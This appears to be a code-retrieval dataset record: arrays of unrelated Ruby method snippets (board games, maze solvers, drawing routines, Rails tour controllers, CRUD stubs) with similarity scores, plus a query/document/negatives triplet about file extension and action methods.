"def rafraichir\n\t\tj = @jeu.joueur\n\t\tpos = j.position\n\n\t\t@jeu.tourSuivant( @jeu.carte.vueJoueur(pos,15) )\n\t\t@interface.setVue( @jeu.carte.vueJoueur(pos,@interface.taille) )\n\t\t@interface.setPV( j.pointsDeVie, j.pointsDeVieMax )\n\t\t@interface.setED( j.endurance, j.enduranceMax )\n\t\t@interface.setScore( j.score )\n\t\t@interface.setNbTour( @jeu.nbTour )\n\t\t@interface.setOr( j.or )\n\t\tif j.position.objet\n\t\t\t@interface.setAction( \"Ramasser #{j.position.objet.getNom}\" )\n\t\telsif j.position.pnj\n\t\t\t@interface.setAction( j.position.pnj.actionNom )\n\t\telsif j.position.type.nom == \"herbe\"\n\t\t\t@interface.setAction( \"Regarder l'herbe pousser\" )\n\t\telsif j.position.type.nom == \"desert\"\n\t\t\t@interface.setAction( \"Compter les grains de sable\" )\n\t\telsif j.position.type.nom == \"eau\"\n\t\t\t@interface.setAction( \"Faire la planche\" )\n\t\telse\n\t\t\t@interface.setAction( \"Rien à faire\" )\n\t\tend\n\tend",
"def can_move(i,j)\n\t\t#posición es 0\n\t\tif @laberinto[i,j] == 0\n\t\t\t#no se a pasado antes por ahi\n\t\t\tif @travel_path.count([i,j]) == 0\n\t\t\t\treturn true\n\t\t\telse \n\t\t\t\treturn false\n\t\t\tend\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def update\r\n\t\t#creo una clase juego con la matriz que ya cree\r\n\t\t@Juego=Juego.new(@a.tablero,@x1,@y1)\r\n\t\t@Juego.turno!\r\n\t\t@NoTurno += 1\r\n\t\tputs \"numero de turno: #{@NoTurno}\"\t\t\r\n\t\t\r\n\tend",
"def forward(pasos)\n\t\tif pasos < 0\n\t\t\tself.backward(pasos.abs)\n\t\telse\n\t\t\tpunto_final = self.calcularPuntoFinal(pasos)\t# Calculo del punto final de la trayectoria\n\n\t\t\txf = self.index2point(punto_final[0])\n\t\t\tyf = self.index2point(punto_final[1])\n\t\t\tx0 = self.index2point(@x)\n\t\t\ty0 = self.index2point(@y)\n\n\t\t\tm = self.pendiente(x0,y0,xf,yf)\t# Pendiente de la recta, constante A de la ecuacion general de la recta\n\t\t\tc = y0-m*x0 \t\t\t\t\t# Constante C de la ecuacion general de la recta\n\t\t\t\n\t\t\t# Definimos los limites de la iteracion\n\t\t\tif @x <= punto_final[0]\t\n\t\t\t\tx0 = @x\n\t\t\t\txf = punto_final[0]\n\t\t\telse\n\t\t\t\tx0 = punto_final[0]\n\t\t\t\txf = @x\n\t\t\tend\n\t\t\tif @y <= punto_final[1]\t\n\t\t\t\ty0 = @y\n\t\t\t\tyf = punto_final[1]\n\t\t\telse\n\t\t\t\ty0 = punto_final[1]\n\t\t\t\tyf = @y\n\t\t\tend\n\t\t\t\t\n\t\t\t# Pintar la trayectoria\n\t\t\t(x0..xf).each do |x|\n\t\t\t\t(y0..yf).each do |y|\n\t\t\t\t\t#puts \"#{x} #{y} puntos x,y\"\n\t\t\t\t\tauxX = self.index2point(x)\n\t\t\t\t\tauxY = self.index2point(y)\n\t\t\t\t\t#puts \"#{auxX} #{auxY} puntos aux x,y\"\n\t\t\t\t\tdistancia = (m*auxX-1*auxY+c).to_f.abs/Math.sqrt(m*m+1)\t# Distancia desde un punto a una recta\n\t\t\t\t\t#puts \"#{distancia} distancia\"\n\t\t\t\t\tif distancia <= Math.sqrt(2)/2\t# Distancia maxima para pintar el punto\n\t\t\t\t\t\tif @pintar && x >= 0 && x < @tam_ancho && y >= 0 && y < @tam_alto\n\t\t\t\t\t\t\t#puts \"PINTE\"\n\t\t\t\t\t\t\t@plano[y][x] = 1\t\t# Ya que en realidad (x,y) representa a la fila y, columna x\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tself.setposition(punto_final[0],punto_final[1])\t# Continuamos el dibujo desde el punto final\n\t\tend\t\n\tend",
"def moves; [] end",
"def get_tour()\n Kamelopard::DocumentHolder.instance.current_document.tour\n end",
"def make_a_trip\n end",
"def upa_steps; end",
"def upa_steps=(_arg0); end",
"def move; end",
"def move; end",
"def turn(player)\n puts \" C'est le tour de #{player.nom}\"\n\n#affichage du plateau\n @plateau.visuel\n\n#demande au joueur ce qu'il joue\n puts \"Ou veux tu placer ton pion?\"\n puts \"Info : Tapes de 1 à 9\"\n @choix = gets.chomp.to_i\n puts \"Tu as choisi la case #{@choix}\"\n\n#appel de la methode de modification de la valeur de la case\n @plateau.play(@choix, player, player.token)\n\n#affichage du tableau avec les modifications\n @plateau.visuel\n\n#verification de la victoire ou non \n @plateau.victory(player.win, player.token)\n puts player.win\n if player.win == false\n go\n elsif\n puts \"Le jeu est fini ! #{player.nom} à gagner\"\n end\n\n end",
"def topsman_periphacitis_urosteon()\n end",
"def toronto\n\n end",
"def FollowingMoveRoute(commands,waitComplete=false)\n $PokemonTemp.dependentEvents.SetMoveRoute(commands,waitComplete)\nend",
"def move\n\t\t'moved passed'\n\tend",
"def direction; end",
"def direction; end",
"def direction=(_arg0); end",
"def tour\n params.merge!({:email => 'tour@megam.io', :password => 'faketour'})\n create\n end",
"def go_up(the_maze, floor, position, steps)\r\n if can_go_up?(the_maze, floor, position)\r\n the_maze = the_maze.set(floor, the_maze[floor].set(position, \"m\"))\r\n walk_maze(the_maze, floor - 1, position, steps.push([floor, position]))\r\n else\r\n return Hamster.vector\r\n end\r\nend",
"def custom_tour()\n\t\tchildren = Hash.new(-1)\n\t\tfor i in 0..@problem.size - 1\n\t\t\tchildren[i] = PriorityQueue.new()\n\n\t\t\t@problem.succesors(i).each do |node|\n\t\t\t\tchildren[i].push(node, h(node))\n\t\t\tend\n\t\tend\n\t\t\n\t\tvertices = [*1..@problem.size]\n\t\tvertices.delete(@problem.start)\n\t\toutput = [@problem.start]\n\t\twhile vertices.any?\n\t\t\tu = output.last\n\t\t\tchd = children[u]\n\t\t\tv = chd.pop()\n\n\t\t\tif not vertices.include? v\n\t\t\t\tv = chd.pop()\n\t\t\tend\n\n\t\t\th_val = 0\n\t\t\tif v != nil\n\t\t\t\th_val = h(v)\n\t\t\tend\n\n\t\t\tchildren.each do |key, value|\n\t\t\t\tchildren[key].delete(h_val)\t\n\t\t\tend\n\n\t\t\tif v == nil\n\t\t\t\treturn output\n\t\t\tend\n\t\t\tvertices.delete(v)\n\t\t\toutput.push(v)\n\t\tend\t\n\t\treturn output\t\t\n\tend",
"def U\r\n move_method(4) \r\nend",
"def turn\n is_over = 0\n until is_over == 5\n puts \"======== c'est le tour du jouer 1 ========\"\n afficher_plateau\n menu0\n puts \"======== c'est le tour du jouer 2 ========\"\n afficher_plateau\n menuX\n is_over +=1\n end\n #la boucle s'arrete au bout de neuf tour\n if is_over == 5\n puts \"==============================\"\n puts \"==| Le Morpion est Terminé |==\"\n puts \"==============================\"\n\n end\n end",
"def travel_and_places; end",
"def suivre; end",
"def moving!\n end",
"def before_tours; end",
"def pedestal(view, time)\n direction = Geom::Vector3d.new(0,0,1)\n direction.reverse! if( (@keys & DOWN_ARROW) != 0 )\n self.move(view, time, direction, @speedy)\nend",
"def travel_to!(floor)\n passengers.each {|passenger| passenger.current_floor = self.current_floor}\n\nend",
"def set_tour\n @tour = Tour.includes(:wheres).find(params[:id])\n end",
"def move\n \n end",
"def move\n \n end",
"def direction_on_path(t)\n getDirectionOnPath(view_path_coordinates[\"LonLat\"], average_speed, t)\n end",
"def complete_tour\n # Complete tour only if it is visible\n if page.has_css? 'div.hopscotch-bubble'\n while page.has_css? 'div.hopscotch-bubble .hopscotch-next'\n find('div.hopscotch-bubble .hopscotch-next').click\n end\n end\nend",
"def traction\n 1 - @traction\n end",
"def calculate_route\n\t\t@cl = init_loc\n\t\t@steps << cl\n\n\t\twhile not at_rightmost_side?\n\t\t\t@cl = next_step\n\t\t\t@steps << cl\n\t\tend \t\t\n\tend",
"def jeuTermine\n\t\tlancementAventure(@tailleGrille+1)\n\tend",
"def back(steps)\n forward(-steps)\n end",
"def move\n\n end",
"def transition_at; end",
"def transition_at; end",
"def tour_params\n params.require(:tour).permit(:Autista, :Mezzo_Di_Trasporto, :Data, :Partenza, :destinazione, :durata, :Posti_Disponibili,:user_id)\n end",
"def changerEnVide\n\t\t@couleur=-1\n\tend",
"def set_tour_operator\n @tour_operator = TourOperator.find(params[:id])\n end",
"def moves\n @moves\n end",
"def waypointBehaviour _args\n \"waypointBehaviour _args;\" \n end",
"def get_moves; raise NotImplementedError end",
"def get_assigned_tour\n order_tour = OrderTour.find_by_order_id(self.id)\n if order_tour.blank?\n return nil\n else\n order_tour.tour\n end\n end",
"def forward(steps)\n move(steps)\n end",
"def test_fun_forward_path\n\t@city = GoldRush::new\n\tassert_equal nil, @city.angels.forward_path4\n\tassert_equal nil, @city.sutter.forward_path3\n\tassert_equal nil, @city.nevada.forward_path2\n end",
"def index\n #@tours = Tour.all\n end",
"def go\n puts \"Notre soldat #{@joueur_1.nom} va jouer en premier\" #on indique quel joueur joue en premier\n sleep 1 #permet d'avoir un petit temps d'attente de 1sec\n turn # On fait appel à la def turn ci-dessous\n end",
"def move_train_by_route\n return action_no_trains_on_route unless @trains.any?(&:route)\n\n available_trains_on_route = @trains.select(&:route)\n\n user_input = ask_choose('Train',\n 'on Route to move',\n available_trains_on_route)\n user_train = @trains[user_input - 1]\n\n show_current_station(user_train)\n\n user_input = ask_direction_to_move_train(user_train)\n move_train_on_user_input(user_input, user_train)\n end",
"def show\n @tours = Tour.find(params[:id])\n end",
"def print_iteration via_road, to_move\r\n\t\tprev_location = \"\"\r\n\t\tif to_move == 0\r\n\t\t\tprev_location = driver.location.east_location\r\n\t\telsif to_move == 1\r\n\t\t\tprev_location = driver.location.south_location\r\n\t\telsif to_move == 2\r\n\t\t\tprev_location = driver.location.west_location\r\n\t\telsif to_move == 3\r\n\t\t\tprev_location = driver.location.north_location\r\n\t\tend\r\n\t\tputs \"#{driver.name} heading from #{prev_location.name} to #{driver.location.name} via #{via_road}.\"\r\n\tend",
"def get_move\n #puts \"get_move for #{self}\"\n return [] if goal == nil or goal == []\n while(1)\n rv = []\n g = goal.shift\n return [] if g == nil\n puts g.join('---')\n case g[0]\n when KILL\n e = g[1] # get the ennemy\n if(not $map.exists?(e) or e.life<=0)\n puts 'this ant does not exists anymore or is dead, next goal'\n next \n end\n \n dist = distance(self,e)\n #puts \"I am #{self}\"\n #puts \"goal: kill this enneny: #{e}\"\n i = 0\n if dist > 1 # move\n # by doing this we are finding subgoals\n # TODO: add_sub_goal ?\n\n path = find_best_way(e.x,e.y)# we have to move next to it\n #puts ppath(path)\n if path==nil\n # TODO: no path, find something else to do\n puts 'no path ! , next goal'\n next\n end\n \n # we have a path to it\n # so now we have to move smartly\n # if we are at 3 cases, we can move and attack\n # more than that we have to move at 4 cases and wait the next turn\n # TODO: do not wait at a position where we can be attacked\n if(path.size-2 <= 3) # minus two because the path include our case\n i = path.size-2 # 0 based minus one, so -2 \n #puts 's1'\n elsif(path.size-2 >= 6) # we are far away\n i = 6\n #puts 's2'\n else\n i = (path.size-2)\n #puts 's3'\n end\n #puts i\n #sleep(1)\n if i <= 0\n puts \"i <= 0 (#{i}), #{ppath(path)}\"\n sleep(5)\n else\n a,b = path[i][0]\n #puts \"I am moving to (#{[a,b].join(',')})\"\n self.x,self.y = a,b\n rv << \"Cb#{object_id}~\"+[a,b].pack('cc')\n #puts x\n end\n end\n return rv if i > 3 # return if we can not attack at the same round\n #puts i\n dist = distance(self,e)\n if dist == 1\n puts 'Attack'\n rv << \"Cc#{object_id}~#{e.object_id}\"\n e.life -= 5\n end\n return rv\n else\n puts 'unknown goal, next goal'\n end # case\n end #while\n puts \"no goal ? find something else to do !\"\n rv\n end",
"def valid_moves\n super\n end",
"def set_tourtwo\n @tourtwo = Tourtwo.find(params[:id])\n end",
"def moves\n diagonal_dirs\n end",
"def my_tours\n @tours = Tour.where(user_id: current_user.id).order(created_at: :desc)\n end",
"def index\n @tours = Tour.all\n end",
"def index\n @tours = Tour.all\n end",
"def exit(i,j)\n\n \t\tif i == @laberinto.column_count-1 && j == @laberinto.column_count-1\n \t\t\t@solution = true\n \t\telse\n\n \t\t\t#agregar punto a los puntos ya pasados\n\t\t\t@travel_path.push([i,j])\n\n \t\t\t#lista posibles caminos\n \t\t\tpossible_path = paths(i,j)\n\n\t\t\t#siguiente punto o fin \t\t\t\t\n\t\t\tif possible_path.length == 0 \n\t\t\t\t#posicion sin camino pero junto a la salida \n\t\t\telse\n\t\t\t\t#siguientes puntos del laberinto\n\t \t\t\tpossible_path.each do |pts|\n \t\t\t\t\treturn exit(pts[0],pts[1])\n \t\t\t\tend\n\t\t\tend\n \t\t\n \t\tend\n\n \tend"
] |
[
"0.6908922",
"0.65438104",
"0.6446926",
"0.6350569",
"0.61956143",
"0.6148892",
"0.598538",
"0.5891644",
"0.5798751",
"0.5777618",
"0.5777073",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.57439715",
"0.5734373",
"0.5734373",
"0.5734373",
"0.57010317",
"0.56326914",
"0.55887634",
"0.55843884",
"0.5562715",
"0.5554759",
"0.55352616",
"0.5534139",
"0.552801",
"0.5506666",
"0.54909617",
"0.54861856",
"0.5485581",
"0.547932",
"0.54751074",
"0.5458857",
"0.5449996",
"0.54455906",
"0.54455906",
"0.5425183",
"0.54123086",
"0.5392106",
"0.53874284",
"0.5350356",
"0.5350099",
"0.5350099",
"0.534048",
"0.53323287",
"0.53307307",
"0.53263605",
"0.5315579",
"0.5312068",
"0.53020084",
"0.52965873",
"0.52923226",
"0.5284135",
"0.5275802",
"0.52757907",
"0.5275622",
"0.52755576",
"0.52755576",
"0.5274465",
"0.5274318",
"0.52731675",
"0.5272256",
"0.52561015",
"0.5254558",
"0.5250212",
"0.5241152",
"0.5241152",
"0.5240171",
"0.5237559",
"0.52308184",
"0.52294147",
"0.5226293",
"0.5222397",
"0.52196157",
"0.5214087",
"0.51843685",
"0.51818395",
"0.5176899",
"0.51603794",
"0.5152396",
"0.5141631",
"0.5130901",
"0.5126377",
"0.5125958",
"0.511979",
"0.5113402",
"0.5112413",
"0.5112413",
"0.51094145"
] |
0.573875
|
25
|
methode qui lance les actions
|
def turn(player)
puts " C'est le tour de #{player.nom}"
#affichage du plateau
@plateau.visuel
#demande au joueur ce qu'il joue
puts "Ou veux tu placer ton pion?"
puts "Info : Tapes de 1 à 9"
@choix = gets.chomp.to_i
puts "Tu as choisi la case #{@choix}"
#appel de la methode de modification de la valeur de la case
@plateau.play(@choix, player, player.token)
#affichage du tableau avec les modifications
@plateau.visuel
#verification de la victoire ou non
@plateau.victory(player.win, player.token)
puts player.win
if player.win == false
go
elsif
puts "Le jeu est fini ! #{player.nom} à gagner"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def actions; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def run_actions; end",
"def action\n end",
"def action_run\n end",
"def add_actions; end",
"def act\n end",
"def action\n end",
"def action_hook; end",
"def action args = {}\n\t\tend",
"def action\n super\n end",
"def action_target()\n \n end",
"def actions\n []\n end",
"def factions\n \n end",
"def actions\n client.actions\n end",
"def actions\n %w{void}\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def actions() ; info[:actions] ; end",
"def actions() ; info[:actions] ; end",
"def actions\n @actions\n end",
"def set_actions\n actions :all\n end",
"def action(unit)\n\tend",
"def default_action; end",
"def process_action(...)\n send_action(...)\n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def perform_action(*args)\n end",
"def actions\n self.class.actions\n end",
"def do_action(action, args=[])\n case action\n when 1\n Customer.create_a_customer_account\n output_action_header(\"\\nCustomer Added!\")\n between_views\n when 2\n ActiveCustomer.list\n between_views\n when 3\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Payment.add_payment_to_active_customer\n output_action_header(\"\\nPayment Added!\")\n between_views\n else\n Payment.add_payment_to_active_customer\n output_action_header(\"\\nPayment Added!\")\n between_views\n end\n when 4\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Product.add_product_to_active_customer\n output_action_header(\"\\nProduct Added!\")\n between_views\n else\n Product.add_product_to_active_customer\n output_action_header(\"\\nProduct Added!\")\n between_views\n end\n when 5\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Product.add_product_to_active_customer_order\n between_views\n else\n Product.add_product_to_active_customer_order\n between_views\n end\n when 6\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n CompleteOrder.get_active_user_order\n between_views\n else\n CompleteOrder.get_active_user_order\n between_views\n end\n when 7\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Product.remove_product\n between_views\n else\n Product.remove_product_customer\n between_views\n end\n when 8\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Product.update_product\n between_views\n else\n Product.update_product_customer\n between_views\n end\n when 9\n Product.stale_products\n between_views\n when 10\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n CustomerRevenue.check_active_customer_rev\n between_views\n else\n CustomerRevenue.check_active_customer_rev\n between_views\n end\n when 11\n Product.product_popularity\n between_views\n when 12\n return :quit\n else\n puts \"I don't understand that command\"\n end\n end",
"def execute_action(action)\n case action\n when 1\n create_station\n when 2\n stations.size > 1 ? create_route : (puts 'Для создания маршрута нужно хотя бы 2 станции.')\n gets\n when 3\n routes.empty? ? (puts 'Маршрутов не создано.') : edit_route \n when 4\n create_train\n when 5\n system 'clear'\n move_train \n when 6\n system 'clear'\n add_carriage_to_train\n when 7\n remove_carriage\n when 8\n set_route\n when 9\n system 'clear'\n display_all_stations\n when 0\n abort\n else\n puts \"Неизвестная команда!\"\n end\n end",
"def operations; end",
"def operations; end",
"def action_do(action)\n\t\tif action == \"a\"\n\t\t\tself.search_weapon\n\t\telsif action == \"s\"\n\t\t\tself.search_health_pack\n\t\telsif action == \"0\"\n\t\t\tself.attacks(@@ennemis[action.to_i])\n\t\telsif action == \"1\"\n\t\t\tself.attacks(@@ennemis[action.to_i])\n\t\tend\n\t\tputs \"\"\t\t\n\tend",
"def clear_all_actions; end",
"def copy_actions\r\n end",
"def action_enable\n end",
"def action=(_arg0); end",
"def local_action(command, id, action)\n super(command,id,ACTION[action])\n end",
"def handle_action(username, actiontype)\n \n end",
"def action_name; end",
"def actions\r\n return @actions\r\n end",
"def process_action(*_arg0); end",
"def process_action(*_arg0); end",
"def process_action(*_arg0); end",
"def lookup_action; end",
"def perform_action(data); end",
"def process(action, *args); end",
"def perform(action)\n case action\n when :index, :new then get action\n when :show, :edit then get action, id: 1\n when :update then put :update, id: 1\n when :create then post :create\n when :destroy then delete :destroy, id: 1\n end\n end",
"def do_action(action)\n\t\tcase action\n\t\twhen 'list'\n\t\t\tlist()\n\t\twhen 'find'\n\t\t\tputs 'Finding...'\n\t\t\tfind()\n\t\twhen 'sort'\n\t\t\tsort()\n\t\twhen 'add'\n\t\t\tadd()\n\t\twhen 'quit'\n\t\t\treturn :quit\n\t\telse\n\t\t\tputs \"\\nI don't understand that command.\\n\"\n\t\tend\n\tend",
"def initialize\n @actions = []\n end",
"def action _obj, _args\n \"_obj action _args;\" \n end",
"def actions\n @actions ||= []\n end",
"def get_actions ()\n\n #acciones del personaje que esta jugando\n player_character.base_card.base_actions.each do |action|\n actions.create!(base_action_id: action.id)\n end\n\n #acciones por distritos morados\n\n purple_districts = districts_on_game.where(\"colour = 'purple' AND name not in ('lighthouse', 'bell_tower')\")\n purple_districts.each do |district|\n district.base_card.base_actions.each do |action|\n actions.create!(base_action_id: action.id)\n end\n end\n\n\n character = player_character.base_card.name\n\n case character\n when 'merchant'\n current_coins = coins\n update_attribute(:coins, current_coins + 1)\n when 'architect'\n card_list = party.cards.districts.where(\"player_id is NULL\").order('position').limit(2)\n card_list.each do |card|\n Card.update(card.id, :state => 'ONHAND', :player_id => id)\n end\n end\n\n\n\n end",
"def define_action_hook; end",
"def set_actions\n @actions = []\n end",
"def click_action\n raise NotImplementedError \"Subclasses must implement this method\"\n end",
"def release_actions; end",
"def _dispatch\n case @options[:action]\n when :init\n _init\n when :add\n fail 'No url given (-u option)' if @options[:url].empty?\n fail 'No name given (-n option)' if @options[:name].empty?\n _add\n when :delete\n fail 'No id given (-i option)' if @options[:id].nil?\n _delete\n when :list\n _list\n else\n fail \"Unknown action #{@options[:action]}\"\n end\n end",
"def methods() end",
"def method_for_action(action_name); end",
"def action_missing(*)\n end",
"def action\n driver.action\n end",
"def send_action(*_arg0); end",
"def buttons; end",
"def action(name)\n nil\n end",
"def invoke_action(name)\n end",
"def invoke_action(name)\n end",
"def invoke_action(name)\n end",
"def process_action(method_name, *args); end",
"def initialize(*args)\n super\n @action = :add\nend",
"def actions\n @actions || []\n end",
"def perform\n \n end",
"def before_action \n end",
"def execute!\n @actions.each do |action|\n action.call\n end\n end",
"def actions\n @actions ||= []\n end",
"def action\n args.first\n end",
"def _handle_action_missing(*args); end",
"def actions\n %w{capture void}\n end",
"def mco_action\n raise RuntimeError, \"Not implemented\"\n end",
"def actions\n ['index', 'show', 'new', 'create', 'edit', 'update', 'destroy']\n end",
"def save_action; end",
"def exec_action_object(action)\n\t\t\taction.execute\n\t\tend",
"def actions=(action)\n @actions << action \n end",
"def initialize(*args)\n\tsuper\n\t@action = :add\nend",
"def index\n @my_actions = MyAction.all\n end",
"def actions(enemy)\n puts \"What will #{@name} do? They may:\"\n @actions.each_with_index{|a, i| puts \"#{i+1}) #{a.unCamelize}\"}\n #maybe instead of this, look at all the defined action method names and list them?\n userMethod = Rules.userInput\n (userMethod.to_i.to_s == userMethod) ? userMethod = @actions[userMethod.to_i-1] : userMethod = userMethod.camelize\n (@actions.include? userMethod) ? Actions.method(userMethod).call(self, enemy) : (puts \"#{@name} attempts to #{userMethod.unCamelize}... Nothing happens.\") \n end",
"def default_action(msg)\n #\n # do nothing.\n #\n end",
"def determine_valid_action\n\n end",
"def matt_custom_action_begin(label); end",
"def action(caseCourante)\n\n # Recuperation du type d'instance de case\n type = @partie.plateau.recupererTypeCase(caseCourante)\n case type\n when 'caseTerritoire'\n # Génération des opérations sur un territoire\n listeId = @partie.genererIdOperationsProposees(caseCourante.territoire.joueurPossesseur.ideologie)\n\n # Transmission des identifiants d'opération possibles et attente d'un choix\n idAction = @com.ask('operations', listeId, 'operation', 30).to_i\n\n\n appliedAction = ((idAction.integer?) && listeId.include?(idAction)) ? idAction : listeId[0]\n # Repercussion du choix (l'action proposée sera la première si la réponse n'est pas correcte)\n @partie.appliquerOperationTerritoire(\n Operation.new(\n appliedAction,\n caseCourante.territoire.joueurPossesseur.ideologie.numero\n ),\n caseCourante.territoire\n )\n @salon.broadcast(\"appliedOperation\", appliedAction.to_s)\n\n when 'caseEvenement'\n # On réclame une opération sur événement\n operation = caseCourante.selectionnerOperation()\n\n # On transmet l'opération à Partie pour son application aux joueurs concernés\n @partie.appliquerOperationEvenement(operation)\n\n # Send the id of the event to each client\n @salon.broadcast('evenement', operation.idEvenement.to_s)\n\n when 'caseDepart' # Muet\n\n else\n $LOGGER.error 'GestionJoueur::action: unknown case.'\n end\n end",
"def operation; end"
] |
[
"0.8501771",
"0.79257023",
"0.79257023",
"0.79257023",
"0.79257023",
"0.79257023",
"0.78135073",
"0.7649977",
"0.7649962",
"0.76465166",
"0.76082754",
"0.74465936",
"0.7428575",
"0.73799425",
"0.7111861",
"0.71108115",
"0.69776875",
"0.69589907",
"0.6862069",
"0.6856793",
"0.68538296",
"0.68538296",
"0.68538296",
"0.6852235",
"0.6852235",
"0.68423903",
"0.68370247",
"0.6822958",
"0.6700094",
"0.66865385",
"0.662408",
"0.662408",
"0.662408",
"0.662408",
"0.662408",
"0.662408",
"0.6578467",
"0.6574622",
"0.65699923",
"0.65561396",
"0.65275234",
"0.65275234",
"0.6527369",
"0.6490712",
"0.64886725",
"0.6486775",
"0.6474678",
"0.6449485",
"0.64473414",
"0.6442486",
"0.643163",
"0.64254236",
"0.64254236",
"0.64254236",
"0.64237833",
"0.6422639",
"0.6412942",
"0.6388489",
"0.6386731",
"0.6383233",
"0.63755023",
"0.63686675",
"0.6357414",
"0.6357156",
"0.6356382",
"0.6343956",
"0.6343549",
"0.6339681",
"0.6327699",
"0.62770003",
"0.62744737",
"0.6249912",
"0.62482274",
"0.62439585",
"0.6239538",
"0.621563",
"0.621563",
"0.6214462",
"0.6211235",
"0.6206655",
"0.6200412",
"0.6166669",
"0.6166271",
"0.6159341",
"0.6155427",
"0.6153573",
"0.615205",
"0.6147164",
"0.61384636",
"0.61279714",
"0.61275214",
"0.6118724",
"0.61002326",
"0.6097186",
"0.608441",
"0.607791",
"0.60584885",
"0.6054467",
"0.60507977",
"0.6048755",
"0.6044038"
] |
0.0
|
-1
|
helper method for delete:
|
def maximum(tree_node = @root)
return tree_node if tree_node.right == nil
maximum(tree_node.right)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n \n end",
"def delete\n \n end",
"def delete\n end",
"def delete\n\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n\n\tend",
"def delete\n end",
"def delete\n end",
"def delete(*rest) end",
"def delete(name)\n\n end",
"def deleted(item)\n end",
"def delete\n # TODO: implement delete\n end",
"def destroy; delete end",
"def delete\n raise NotImplementedError\n end",
"def delete\n raise NotImplementedError\n end",
"def delete(name); end",
"def delete(name); end",
"def delete(obj) ; end",
"def delete\n\t\tfalse\n\tend",
"def delete(object); end",
"def delete\n raise NotImplementedError\n end",
"def delete_operations; end",
"def delete\n raise NotImplementedError\n end",
"def delete; raise ActiveRecord::ReadOnlyRecord; end",
"def delete(action, **args); end",
"def delete(value)\n end",
"def delete(value)\n end",
"def delete!(*rest) end",
"def deleteRequest\n\n end",
"def delete_item\n\nend",
"def del\n delete\n end",
"def destroy\r\n\r\n end",
"def delete_post\n\t \n \tend",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def delete\n return false\n end",
"def destroy \r\n\r\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy \n \n end",
"def destroy\r\n end",
"def destroy\r\n end",
"def delete(oid)\n end",
"def delete\n destroy\n end",
"def delete\n destroy\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def delete!\n request! :delete\n end",
"def delete(contactname)\n\n end",
"def _destroy_delete\n delete\n end",
"def _destroy_delete\n delete\n end",
"def delete(table, ids) # abstract\n end",
"def destroy\n \n end",
"def delete\n ret_val = error_if_exists('delete')\n super if ret_val\n return ret_val\n end",
"def destroy\n\n end",
"def delete(key)\n\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\r\n end",
"def destroy\n\t\t\n\tend",
"def delete\n return @delete\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end"
] |
[
"0.8373501",
"0.80260485",
"0.8013269",
"0.80042505",
"0.7956913",
"0.7956913",
"0.7956913",
"0.7956913",
"0.7956913",
"0.7956913",
"0.7956913",
"0.79107374",
"0.7799738",
"0.77781236",
"0.7493549",
"0.7422571",
"0.74152577",
"0.7396308",
"0.73679674",
"0.7326224",
"0.7326224",
"0.7311375",
"0.7311375",
"0.7252753",
"0.725267",
"0.7244257",
"0.7208222",
"0.72013843",
"0.71965003",
"0.71889603",
"0.7187095",
"0.7183631",
"0.7183631",
"0.7167577",
"0.7125145",
"0.711353",
"0.7107788",
"0.7078295",
"0.7065486",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.70541155",
"0.7052777",
"0.7017235",
"0.7017235",
"0.70120704",
"0.69652414",
"0.69652414",
"0.69552475",
"0.69548935",
"0.69548935",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6945965",
"0.6911031",
"0.69078535",
"0.69078535",
"0.689664",
"0.68946195",
"0.68924433",
"0.68908125",
"0.68870634",
"0.6877803",
"0.6877803",
"0.6877803",
"0.6877803",
"0.6877803",
"0.6877803",
"0.68777853",
"0.68683136",
"0.6865189",
"0.6863397",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132"
] |
0.0
|
-1
|
Checks if an extension is known. Returns the associated format.
|
def known_extension?(f)
f = ".#{f}" unless f[0,1] == '.'
EXTENSION_TO_FORMAT[f]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
